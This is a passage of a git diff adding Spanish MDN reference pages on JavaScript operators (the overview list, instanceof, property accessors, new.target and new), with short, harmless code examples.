+ <dd>En los constructores, <code>new.target</code> se refiere al constructor que fue invocado por {{jsxref("Operators/new", "new")}}.</dd>
+ <dt>{{jsxref("Operators/super", "super")}}</dt>
+ <dd>La palabra clave <code>super</code> llama al constructor padre.</dd>
+ <dt>{{jsxref("Operators/Spread_syntax", "...obj")}}</dt>
+ <dd>La sintaxis de extensión permite expandir una expresión en lugares donde se esperan múltiples argumentos (para llamadas a funciones) o múltiples elementos (para arreglos literales).</dd>
+</dl>
+
+<h3 id="Incremento_y_decremento">Incremento y decremento</h3>
+
+<p>Operadores de incremento sufijo/prefijo y decremento sufijo/prefijo.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Increment", "A++")}}</dt>
+ <dd>Operador de incremento sufijo.</dd>
+ <dt>{{jsxref("Operators/Decrement", "A--")}}</dt>
+ <dd>Operador de incremento sufijo.</dd>
+ <dt>{{jsxref("Operators/Increment", "A++")}}</dt>
+ <dd>Operador de incremento prefijo.</dd>
+ <dt>{{jsxref("Operators/Decrement", "--A")}}</dt>
+ <dd>Operador de decremento prefijo.</dd>
+</dl>
+
+<h3 id="Operadores_unarios">Operadores unarios</h3>
+
+<p>Una operación unaria es una operación con un solo operando.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/delete", "delete")}}</dt>
+ <dd>El operador <code>delete</code> elimina una propiedad de un objeto.</dd>
+ <dt>{{jsxref("Operators/void", "void")}}</dt>
+ <dd>El operador <code>void</code> descarta el valor de retorno de una expresión.</dd>
+ <dt>{{jsxref("Operators/typeof", "typeof")}}</dt>
+ <dd>El operador <code>typeof</code> determina el tipo de un objeto dado.</dd>
+ <dt>{{jsxref("Operators/Unary_plus", "+")}}</dt>
+ <dd>El operador unario <code>más</code> convierte su operando al tipo <code>Number</code>.</dd>
+ <dt>{{jsxref("Operators/Unary_negation", "-")}}</dt>
+ <dd>El operador unario de negación convierte su operando al tipo <code>Number</code> y luego lo niega.</dd>
+ <dt>{{jsxref("Operators/Bitwise_NOT", "~")}}</dt>
+ <dd>Operador <code>NOT</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Logical_NOT", "!")}}</dt>
+ <dd>Operador <code>NOT</code> lógico.</dd>
+</dl>
+
+<h3 id="Operadores_aritméticos">Operadores aritméticos</h3>
+
+<p>Los operadores aritméticos toman valores numéricos (ya sean literales o variables) como sus operandos y devuelven un solo valor numérico.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Addition", "+")}}</dt>
+ <dd>Operador de adición o suma.</dd>
+ <dt>{{jsxref("Operators/Subtraction", "-")}}</dt>
+ <dd>Operador de sustracción o resta.</dd>
+ <dt>{{jsxref("Operators/Division", "/")}}</dt>
+ <dd>Operador de división.</dd>
+ <dt>{{jsxref("Operators/Multiplication", "*")}}</dt>
+ <dd>Operador de multiplicación.</dd>
+ <dt>{{jsxref("Operators/Remainder", "%")}}</dt>
+ <dd>Operador de residuo.</dd>
+ <dt>{{jsxref("Operators/Exponentiation", "**")}}</dt>
+ <dd>Operador de exponenciación.</dd>
+</dl>
+
+<h3 id="Operadores_relacionales">Operadores relacionales</h3>
+
+<p>Un operador de comparación compara sus operandos y devuelve un valor <code>Boolean</code> basado en si la comparación es verdadera o no.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/in", "in")}}</dt>
+ <dd>El operador <code>in</code> determina si un objeto tiene una determinada propiedad.</dd>
+ <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt>
+ <dd>El operador <code>instanceof</code> determina si un objeto es una instancia de otro objeto.</dd>
+ <dt>{{jsxref("Operators/Less_than", "&lt;")}}</dt>
+ <dd>Operador menor que.</dd>
+ <dt>{{jsxref("Operators/Greater_than", "&gt;")}}</dt>
+ <dd>Operador mayor que.</dd>
+ <dt>{{jsxref("Operators/Less_than_or_equal", "&lt;=")}}</dt>
+ <dd>Operador menor o igual a.</dd>
+ <dt>{{jsxref("Operators/Greater_than_or_equal", "&gt;=")}}</dt>
+ <dd>Operador mayor o igual a.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Nota: =&gt;</strong> no es un operador, sino la notación para {{jsxref("Functions/Arrow_functions", "Funciones de flecha")}}.</p>
+</div>
+
+<h3 id="Operadores_de_igualdad">Operadores de igualdad</h3>
+
+<p>El resultado de evaluar un operador de igualdad siempre es de tipo <code>Boolean</code> basado en si la comparación es verdadera.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Equality", "==")}}</dt>
+ <dd>Operador de igualdad.</dd>
+ <dt>{{jsxref("Operators/Inequality", "!=")}}</dt>
+ <dd>Operador de desigualdad.</dd>
+ <dt>{{jsxref("Operators/Strict_equality", "===")}}</dt>
+ <dd>Operador de igualdad estricta.</dd>
+ <dt>{{jsxref("Operators/Strict_inequality", "!==")}}</dt>
+ <dd>Operador de desigualdad estricta.</dd>
+</dl>
+
+<h3 id="Operadores_de_desplazamiento_de_bits">Operadores de desplazamiento de bits</h3>
+
+<p>Operaciones para cambiar todos los bits del operando.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Left_shift", "&lt;&lt;")}}</dt>
+ <dd>Operador de desplazamiento bit a bit a la izquierda.</dd>
+ <dt>{{jsxref("Operators/Right_shift", "&gt;&gt;")}}</dt>
+ <dd>Operador de desplazamiento bit a bit a la derecha.</dd>
+ <dt>{{jsxref("Operators/Unsigned_right_shift", "&gt;&gt;&gt;")}}</dt>
+ <dd>Operador de desplazamiento bit a bit a la derecha sin signo.</dd>
+</dl>
+
+<h3 id="Operadores_binarios_bit_a_bit">Operadores binarios bit a bit</h3>
+
+<p>Los operadores bit a bit tratan a sus operandos como un conjunto de 32 bits (ceros y unos) y devuelven valores numéricos estándar de JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_AND", "&amp;")}}</dt>
+ <dd><code>AND</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Bitwise_OR", "|")}}</dt>
+ <dd><code>OR</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Bitwise_XOR", "^")}}</dt>
+ <dd><code>XOR</code> bit a bit.</dd>
+</dl>
+
+<h3 id="Operadores_lógicos_binarios">Operadores lógicos binarios</h3>
+
+<p>Los operadores lógicos se utilizan normalmente con valores booleanos (lógicos); cuando lo son, devuelven un valor booleano.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Logical_AND", "&amp;&amp;")}}</dt>
+ <dd><code>AND</code> lógico.</dd>
+ <dt>{{jsxref("Operators/Logical_OR", "||")}}</dt>
+ <dd><code>OR</code> lógico.</dd>
+</dl>
+
+<h3 id="Operador_condicional_ternario">Operador condicional (ternario)</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+ <dd>
+ <p>El operador condicional devuelve uno de dos valores según el valor lógico de la condición.</p>
+ </dd>
+</dl>
+
+<h3 id="Operadores_de_asignación">Operadores de asignación</h3>
+
+<p>Un operador de asignación asigna un valor a su operando izquierdo basándose en el valor de su operando derecho.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Assignment", "=")}}</dt>
+ <dd>Operador de asignación.</dd>
+ <dt>{{jsxref("Operators/Multiplication_assignment", "*=")}}</dt>
+ <dd>Asignación de multiplicación.</dd>
+ <dt>{{jsxref("Operators/Division_assignment", "/=")}}</dt>
+ <dd>Asignación de división.</dd>
+ <dt>{{jsxref("Operators/Remainder_assignment", "%=")}}</dt>
+ <dd>Asignación de residuo.</dd>
+ <dt>{{jsxref("Operators/Addition_assignment", "+=")}}</dt>
+ <dd>Asignación de suma.</dd>
+ <dt>{{jsxref("Operators/Subtraction_assignment", "-=")}}</dt>
+ <dd>Asignación de sustracción</dd>
+ <dt>{{jsxref("Operators/Left_shift_assignment", "&lt;&lt;=")}}</dt>
+ <dd>Asignación de desplazamiento a la izquierda.</dd>
+ <dt>{{jsxref("Operators/Right_shift_assignment", "&gt;&gt;=")}}</dt>
+ <dd>Asignación de desplazamiento a la derecha.</dd>
+ <dt>{{jsxref("Operators/Unsigned_right_shift_assignment", "&gt;&gt;&gt;=")}}</dt>
+ <dd>Asignación de desplazamiento a la derecha sin signo.</dd>
+ <dt>{{jsxref("Operators/Bitwise_AND_assignment", "&amp;=")}}</dt>
+ <dd>Asignación de <code>AND</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Bitwise_XOR_assignment", "^=")}}</dt>
+ <dd>Asignación de <code>XOR</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Bitwise_OR_assignment", "|=")}}</dt>
+ <dd>Asignación de <code>OR</code> bit a bit.</dd>
+ <dt>{{jsxref("Operators/Logical_AND_assignment", "&amp;&amp;=")}}</dt>
+ <dd>Asignación de <code>AND</code> lógico.</dd>
+ <dt>{{jsxref("Operators/Logical_OR_assignment", "||=")}}</dt>
+ <dd>Asignación de <code>OR</code> lógico.</dd>
+ <dt>{{jsxref("Operators/Logical_nullish_assignment", "??=")}}</dt>
+ <dd>Asignación de anulación lógica.</dd>
+ <dt>{{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>La desestructuración te permite asignar las propiedades de un arreglo u objeto a variables utilizando una sintaxis que se parece a los arreglos u objetos literales.</p>
+ </dd>
+</dl>
+
+<h3 id="Operador_coma">Operador coma</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>El operador <code>coma</code> permite evaluar múltiples expresiones en una sola declaración y devuelve el resultado de la última expresión.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.operators")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/Operator_Precedence", "Operator de precedencia")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/instanceof/index.html b/files/es/web/javascript/referencia/operadores/instanceof/index.html
new file mode 100644
index 0000000000..3b9a45162d
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/instanceof/index.html
@@ -0,0 +1,88 @@
+---
+title: instanceof
+slug: Web/JavaScript/Referencia/Operadores/instanceof
+tags:
+  - JavaScript
+  - Operator
+  - Relational Operators
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El operador <strong><code>instanceof</code></strong> verifica si un objeto en su cadena de prototipos contiene la propiedad <code>prototype</code> de un constructor.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>objeto</em> instanceof <em>constructor</em></pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>objeto</code></dt>
+ <dd>Objeto a verificar.</dd>
+</dl>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Función contra la que se hará la verificación.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Utilice <code>instanceof</code> cuando necesite confirmar el tipo de un objeto en tiempo de ejecución. Por ejemplo, cuando controle excepciones, puede recurrir a diferentes códigos de manipulación de excepciones dependiendo del tipo de excepción tomada.</p>
+
+<p>Debe especificar un objeto en el lado derecho del operador <code>instanceof</code>. Por ejemplo, puede especificar una cadena creada con el constructor <code>String</code>, pero no puede especificar un literal de cadena.</p>
+
+<pre>color1=new String("verde")
+color1 instanceof String // devuelve verdadero (true)
+color2="coral"
+color2 instanceof String // devuelve falso (color2 no es un objeto String)
+</pre>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>También vea los ejemplos de {{jsxref("Sentencias/throw", "throw")}}.</p>
+
+<h4 id="Ejemplo:_Determinando_si_elDia_es_un_objeto_Date" name="Ejemplo:_Determinando_si_elDia_es_un_objeto_Date">Ejemplo: Determinando si <code>elDia</code> es un objeto <code>Date</code></h4>
+
+<p>El siguiente código utiliza <code>instanceof</code> para determinar si <code>elDia</code> es un objeto <code>Date</code>. Debido a que <code>elDia</code> es un objeto <code>Date</code>, las instrucciones de la sentencia if se ejecutan.</p>
+
+<pre>elDia = new Date(1995, 12, 17)
+if (elDia instanceof Date) {
+   // instrucciones a ejecutar
+}
+</pre>
+
+<h4 id="Ejemplo:_Demostrando_que_String_y_Date_son_del_tipo_Object" name="Ejemplo:_Demostrando_que_String_y_Date_son_del_tipo_Object">Ejemplo: Demostrando que <code>String</code> y <code>Date</code> son del tipo <code>Object</code></h4>
+
+<p>El siguiente código utiliza <code>instanceof</code> para demostrar que los objetos <code>String</code> y <code>Date</code> son también del tipo <code>Object</code> (éstos se derivan de <code>Object</code>).</p>
+
+<pre>miCadena = new String()
+miFecha = new Date()
+
+miCadena instanceof String // devuelve true
+miCadena instanceof Object // devuelve true
+miCadena instanceof Date   // devuelve false
+
+miFecha instanceof Date     // devuelve true
+miFecha instanceof Object   // devuelve true
+miFecha instanceof String   // devuelve false
+</pre>
+
+<h4 id="Ejemplo:_Demostrando_que_miCoche_es_del_tipo_Coche_y_del_tipo_Object" name="Ejemplo:_Demostrando_que_miCoche_es_del_tipo_Coche_y_del_tipo_Object">Ejemplo: Demostrando que <code>miCoche</code> es del tipo <code>Coche</code> y del tipo <code>Object</code></h4>
+
+<p>El siguiente código crea un objeto del tipo <code>Coche</code> y una instancia de ese tipo de objeto, <code>miCoche</code>. El operador <code>instanceof</code> demuestra que el objeto <code>miCoche</code> es del tipo <code>Coche</code> y del tipo <code>Object</code>.</p>
+
+<pre>function Coche(fabricante, modelo, ejercicio) {
+   this.fabricante = fabricante
+   this.modelo = modelo
+   this.ejercicio= ejercicio
+}
+miCoche = new Coche("Honda", "Accord", 1998)
+a = miCoche instanceof Coche // devuelve verdadero (true)
+b = miCoche instanceof Object // devuelve verdadero (true)
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/es/web/javascript/referencia/operadores/miembros/index.html b/files/es/web/javascript/referencia/operadores/miembros/index.html
new file mode 100644
index 0000000000..565a8b7f92
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/miembros/index.html
@@ -0,0 +1,85 @@
+---
+title: Miembros
+slug: Web/JavaScript/Referencia/Operadores/Miembros
+tags:
+  - JavaScript
+  - Operator
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Los operadores de miembros proporcionan acceso a las propiedades y métodos de un objeto.</p>
+
+<p>Un objeto es en realidad un<em> arreglo asociativo</em> (por ejemplo<em> map</em> ,<em>dictionary</em> ,<em>hash</em> ,<em>lookup table</em> ). Las <em>claves</em> en este arreglo son los nombres de las propiedades y los métodos (propiedades que hacen referencia a funciones). Hay dos modos de acceder a estas propiedades: notación por punto y notación por corchete (es decir, operador de subscripción).</p>
+
+<p>Nota: La especificación <a href="/es/docs/Glossary/ECMAScript">ECMAScript</a> etiqueta estos operadores como "property accessors" en vez de "operadores de miembro" (member operators).</p>
+
+<h3 id="Notaci.C3.B3n_por_punto" name="Notaci.C3.B3n_por_punto">Notación por punto</h3>
+
+<pre class="brush: js">get = objeto.propiedad;
+objeto.propiedad = set;
+</pre>
+
+<p><code>propiedad</code> debe ser un identificador válido de JavaScript, esto es, una secuencia alfanumérica de caracteres, incluyendo también el guión bajo ("<code>_</code>") y el signo dolar ("<code>$</code>"), que no puede comenzar por un número. Por ejemplo, <code>objeto.$1</code> es válido, mientras que <code>objeto.1</code> no lo es.</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: js">document.createElement('pre');
+</pre>
+
+<p>Aquí, el método llamado "createElement" se recupera de <code>document</code> y se le llama.</p>
+
+<h3 id="Notaci.C3.B3n_por_corchetes" name="Notaci.C3.B3n_por_corchetes">Notación por corchetes</h3>
+
+<pre class="brush: js">get = objeto[nombre_propiedad];
+objeto[nombre_propiedad] = set;
+</pre>
+
+<p><code>nombre_propiedad</code> es una cadena. La cadena no tiene que ser un identificador válido; puede tener cualquier valor, por ejemplo "1foo", "!bar!", o incluso " " (un espacio).</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: js">document['createElement']('pre');
+</pre>
+
+<p>Esto hace exactamente lo mismo que el ejemplo anterior.</p>
+
+<h3 id="Nombres_de_propiedades" name="Nombres_de_propiedades">Nombres de propiedades</h3>
+
+<p>Los nombres de propiedades deben ser cadenas. Esto significa que no pueden usarse objetos distintos a cadenas como claves en un objeto. Cualquier objeto que no sea una cadena, incluyendo números, se convierte al tipo cadena a través de su método {{jsxref("Object.toString")}}.</p>
+
+<p>Ejemplos:</p>
+
+<pre class="brush: js">var objeto = {};
+objeto['1'] = 'valor';
+alert(objeto[1]);
+</pre>
+
+<p>Ésto tendrá como resultado "valor", ya que 1 se convertirá por tipo a '1'.</p>
+
+<pre class="brush: js">var foo = {propiedad_unica: 1}, bar = {propiedad_unica: 2}, objeto = {};
+objeto[foo] = 'valor';
+alert(objeto[bar]);
+</pre>
+
+<p>Ésto también tiene como resultado "valor", ya que tanto foo como bar se convierten a la misma cadena. En el motor de JavaScript <a href="/es/docs/Mozilla/SpiderMonkey">SpiderMonkey</a>, esta cadena sería "{{ mediawiki.external('objeto Object') }}".</p>
+
+<h3 id="Enlace_a_m.C3.A9todos" name="Enlace_a_m.C3.A9todos">Enlace a métodos</h3>
+
+<p>Un método no está enlazado al objeto del que es método. Específicamente, <code>this</code> no está establecido en un método, es decir, <code>this</code> no se refiere necesariamente a un objeto conteniendo el método. <code>this</code>, en cambio, se "pasa" mediante la llamada de función.</p>
+
+<p>Vea <a href="/es/docs/Web/JavaScript/Referencia/Operadores/this#Funciones_enlazadas">enlace a métodos</a>.</p>
+
+<h3 id="Nota_sobre_eval" name="Nota_sobre_eval">Nota sobre <code>eval</code></h3>
+
+<p>Los principiantes en JavaScript a menudo tienen el error de usar {{jsxref("eval")}} cuando la notación por corchetes puede usarse a cambio. Por ejemplo, la siguiente sintaxis se ve a menudo en muchos scripts.</p>
+
+<pre class="brush: js">x = eval('document.nombre_formulario.' + cadenaControlFormulario + '.value');
+</pre>
+
+<p><code>eval</code> es lenta y se debería evitar en la medida de lo posible. Es mejor usar la notación por corchetes a cambio:</p>
+
+<pre class="brush: js">x = document.nombre_formulario[cadenaControlFormulario].value;
+</pre>
diff --git a/files/es/web/javascript/referencia/operadores/new.target/index.html b/files/es/web/javascript/referencia/operadores/new.target/index.html
new file mode 100644
index 0000000000..0faa0f0878
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/new.target/index.html
@@ -0,0 +1,139 @@
+---
+title: new.target
+slug: Web/JavaScript/Referencia/Operadores/new.target
+tags:
+  - Clases
+  - ECMAScript6
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>La propiedad<strong> <code>new.target</code></strong> te permite detectar si una función o constructor fue llamado usando el operador <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/new">new</a>. En constructores y funciones instanciadas con el operador <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/new">new</a>, <code>new.target</code> devuelve una referencia al constructor o función. En llamadas a funciones normales, <code>new.target</code> es {{jsxref("undefined")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La sintaxis <code>new.target</code> consiste en el keyword <code>"new</code>", un punto, y el nombre de propiedad <code>"target"</code>. Normalmente "<code>new."</code> sirve como contexto para el acceso a la propiedad, pero aquí, <code>"new."</code> no es realmente un objeto. En llamadas a constructores, sin embargo, <code>new.target</code> hace referencia al constructor invocado por new por lo que "<code>new.</code>" se convierte en un contexto virtual.</p>
+
+<p>La propiedad <code>new.target</code> es una meta propiedad que está disponible para todas las funciones. En <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Funciones/Arrow_functions">funciones flecha</a>, <code>new.target</code> se refiere al <code>new.target</code> de la función que la contiene.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="new.target_en_llamadas_a_funciones">new.target en llamadas a funciones</h3>
+
+<p>En llamadas a funciones normales (en contraposición a llamadas a constructores), <code>new.target</code> es {{jsxref("undefined")}}. Esto te permite detectar si la función fue llamada con <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/new">new</a> como constructor.</p>
+
+<pre class="brush: js">function Foo() {
+  if (!new.target) throw 'Foo() debe ser llamado con new';
+  console.log('Foo instanciado con new');
+}
+
+Foo(); // Lanza "Foo() debe ser llamado con new"
+new Foo(); // escribe en el log "Foo instanciado con new"
+</pre>
+
+<h3 id="new.target_en_constructores">new.target en constructores</h3>
+
+<p>En constructores de clase, <code>new.target</code> hace referencia al constructor que fue directamente invocado por <code>new</code>. Este también es el caso si el constructor está en una clase padre y fue delegado desdes el constructor hijo.</p>
+
+<pre class="brush: js">class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // escribe en el log "A"
+var b = new B(); // escribe en el log "B"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Funciones">Funciones</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Classes">Clases</a></li>
+ <li><code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/new">new</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/new/index.html b/files/es/web/javascript/referencia/operadores/new/index.html
new file mode 100644
index 0000000000..4635b12402
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/new/index.html
@@ -0,0 +1,179 @@
+---
+title: Operador new
+slug: Web/JavaScript/Referencia/Operadores/new
+tags:
+  - Expresiones del lado izquierdo
+  - JavaScript
+  - Left-hand-side expressions
+  - Operador
+  - Operator
+  - Referencia
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators", "Operadores")}}</div>
+
+<p><span class="seoSummary">El <strong>operador <code>new</code></strong> permite a los desarrolladores crear una instancia de un tipo de objeto definido por el usuario o de uno de los tipos de objeto integrados que tiene un función constructora.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new <var>constructor</var>[([<var>arguments</var>])]</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>constructor</var></code></dt>
+ <dd>Una clase o función que especifica el tipo de instancia del objeto.</dd>
+</dl>
+
+<dl>
+ <dt><code><var>arguments</var></code></dt>
+ <dd>Una lista de valores con los que se llamará al <code><var>constructor</var></code>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La palabra clave <strong><code>new</code></strong> hace lo siguiente:</p>
+
+<ol>
+ <li>Crea un objeto JavaScript simple y en blanco;</li>
+ <li>Vincula (establece el constructor de) este objeto a otro objeto;</li>
+ <li>Pasa el objeto recién creado del <em>Paso 1</em> como el contexto <code>this</code>;</li>
+ <li>Devuelve <code>this</code> si la función no devuelve un objeto.</li>
+</ol>
+
+<p>La creación de un objeto definido por el usuario requiere dos pasos:</p>
+
+<ol>
+ <li>Defina el tipo de objeto escribiendo una función.</li>
+ <li>Crea una instancia del objeto con <code>new</code>.</li>
+</ol>
+
+<p>Para definir un tipo de objeto, crea una función para el tipo de objeto que especifique su nombre y propiedades. Un objeto puede tener una propiedad que en sí misma es otro objeto. Ve los siguientes ejemplos.</p>
+
+<p>Cuando se ejecuta el código <code>new <em>Foo</em>(...)</code>, sucede lo siguiente:</p>
+
+<ol>
+ <li>Se crea un nuevo objeto, heredado de <code><em>Foo</em>.prototype</code>.</li>
+ <li>La función constructora <code><em>Foo</em></code> se llama con los argumentos especificados y con {{JSxRef("Operators/this", "this")}} vinculado al objeto recién creado. <code>new <em>Foo</em></code> es equivalente a <code>new <em>Foo</em>()</code>, es decir, si no se especifica una lista de argumentos, <code><em>Foo</em></code> se llama sin argumentos.</li>
+ <li>El objeto (no nulo, <code>false</code>, 3.1415 u otros tipos primitivos) devuelto por la función constructora se convierte en el resultado de toda la expresión <code>new</code>. Si la función constructora no devuelve explícitamente un objeto, en su lugar se utiliza el objeto creado en el paso 1. (Normalmente, los constructores no devuelven un valor, pero pueden elegir hacerlo si quieren redefinir el proceso normal de creación de objetos).</li>
+</ol>
+
+<p>Siempre puedes agregar una propiedad a un objeto definido previamente. Por ejemplo, la instrucción <code>car1.color = "black"</code> agrega una propiedad <code>color</code> a <code>car1</code> y le asigna un valor de "<code>black</code>". Sin embargo, esto no afecta a ningún otro objeto. Para agregar la nueva propiedad a todos los objetos del mismo tipo, debes agregar la propiedad a la definición del tipo de objeto <code>Car</code>.</p>
+
+<p>Puedes agregar una propiedad compartida a un tipo de objeto definido previamente mediante la propiedad {{JSxRef("Global_Objects/Function/prototype", "Function.prototype")}}. Esto define una propiedad que comparten todos los objetos creados con esa función, en lugar de solo una instancia del tipo de objeto. El siguiente código agrega una propiedad de color con el valor <code>"color original"</code> a todos los objetos de tipo <code>Car</code>, y luego redefine ese valor con la cadena "<code>black</code>" solo en la instancia <code>car1</code> del objeto. Para obtener más información, consulta {{JSxRef("Global_Objects/Function/prototype", "prototype")}}.</p>
+
+<pre class="brush: js notranslate">function Car() {}
+car1 = new Car();
+car2 = new Car();
+
+console.log(car1.color);    // undefined
+
+Car.prototype.color = 'color original';
+console.log(car1.color);    // 'color original'
+
+car1.color = 'black';
+console.log(car1.color);    // 'black'
+
+console.log(Object.getPrototypeOf(car1).color); // 'color original'
+console.log(Object.getPrototypeOf(car2).color); // 'color original'
+console.log(car1.color);   // 'black'
+console.log(car2.color);   // 'color original'
+</pre>
+
+<div class="note">
+<p>Si no escribiste el operador <code>new</code>, <strong>la función <code>constructor</code> se invocará como cualquier función normal</strong>, <em>sin crear un objeto.</em> En este caso, el valor de <code>this</code> también es diferente.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Tipo_de_objeto_e_instancia_de_objeto">Tipo de objeto e instancia de objeto</h3>
+
+<p>Supongamos que deseas crear un tipo de objeto para <code>cars</code>. Quieres que este tipo de objeto se llame <code>Car</code>, y quieres que tenga propiedades para marca, modelo y año (<code>make</code>, <code>model</code> y <code>year</code> en inglés respectivamente). Para ello, podrías escribir la siguiente función:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Ahora puedes crear un objeto llamado <code>myCar</code> de la siguiente manera:</p>
+
